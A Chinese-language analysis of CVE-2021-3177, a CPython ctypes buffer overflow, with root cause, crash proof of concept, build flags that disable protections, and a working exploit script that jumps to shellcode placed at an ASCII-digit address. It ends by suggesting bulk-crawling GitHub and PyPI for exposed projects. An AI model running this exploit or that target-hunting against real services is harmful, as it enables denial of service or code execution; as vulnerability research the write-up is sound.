CVE-2021-3177 Python RCE
https://nvd.nist.gov/vuln/detail/CVE-2021-3177
https://bugs.python.org/issue42938
https://www.randori.com/cve-2021-3177-vulnerability-analysis/
TL;DR
漏洞成因:sprintf格式化%f造成的栈上缓冲区溢出
sprintf(buffer, "<cparam '%c' (%f)>",self->tag, self->value.d);
这是个品相并不好的洞,在默认开启漏洞缓解机制的情况下几乎不能RCE,只能影响服务可用性
Compile
这个问题涉及的版本很广,2021年1月18号以前的版本普遍存在
这里选择的tag: cpython-3.10.0a4
关于Python的编译和源码调试可以参考
PoC
漏洞发生的原理是sprintf时buffer固定但是格式化%f时可以生成一个较长的数字字符串,从而产生溢出,这里有精度部分可以覆写到返回地址
from ctypes import *
x = c_double.from_param(1e300)
print(x)
直接运行,发生了abort
*** buffer overflow detected ***: terminated Program received signal SIGABRT, Aborted.
栈溢出被fority保护检测到了,随后abort
Require
造成RCE需要的条件
- 从远程端传递一个不受信任的浮点数到ctypes.c_double.from_param (注意:Python浮点数不受影响)
- 将该对象传递给repr()(例如通过日志记录)
- 使浮点数成为有效的机器代码。
- 让缓冲区溢出在正确的位置覆盖堆栈,让代码得到执行
ctypes如果在一些网络库中被依赖使用时,则很有可能被利用造成DoS,在一些平台未开启Fority、Canary保护的Python版本(更可能是IoT设备)中存在RCE风险
Exploit
编译没有保护的版本
./configure OPT="-O0" CFLAGS="-m32 -fno-stack-protector -fno-pie -fno-pic" LDFLAGS="-m32"
格式化%f只能产生ascii码'0'~‘9’之间的值,也就是0x30-0x39,因此rip/eip也只能劫持到形如[0-9]+的地址上去
因此需要利用mmap在相应的低位地址上提前布置好shellcode
打印c_double对象触发溢出时执行任意shellcode
利用脚本
from ctypes import (c_double, c_int, CDLL, memmove, create_string_buffer,
addressof)
###########
# contrived setup, map executable memory with shellcode exactly where we want
# to jump (an attacker would have to set this up somehow)
libc = CDLL(None)
syscall = libc.syscall
NR_mmap = 192
target_address = 0x34333231
# mmap, 1 page, rwx, anonymous|private, no file, no offset
syscall(NR_mmap, target_address, 0x1000, 7, 0x21, -1, 0)
shellcode = create_string_buffer(
b'h\x01\x01\x01\x01\x814$/\x0b\x01\x01hherehwas hori hRand\x89\xe1j\x01[j'
b'\x13Zj\x04X\xcd\x80', 45)
memmove(target_address, addressof(shellcode), 45)
#
############
# trigger the bug
# this will jump to address 0x34333231 (ascii '4321') where the attacker's shell code
# is waiting, and will print out "Randori was here."
print(c_double.from_param(709677e300))
# if nothing happened, this should print, however, triggering the bug
# will print an alternate message!
print("all done! no problem.")
具体的应用场景可以在GitHub或Pypi仓库批量爬取导入了c_double和web框架的项目,如果一个c_double来自表单并被repr了,那么就在漏洞影响范围内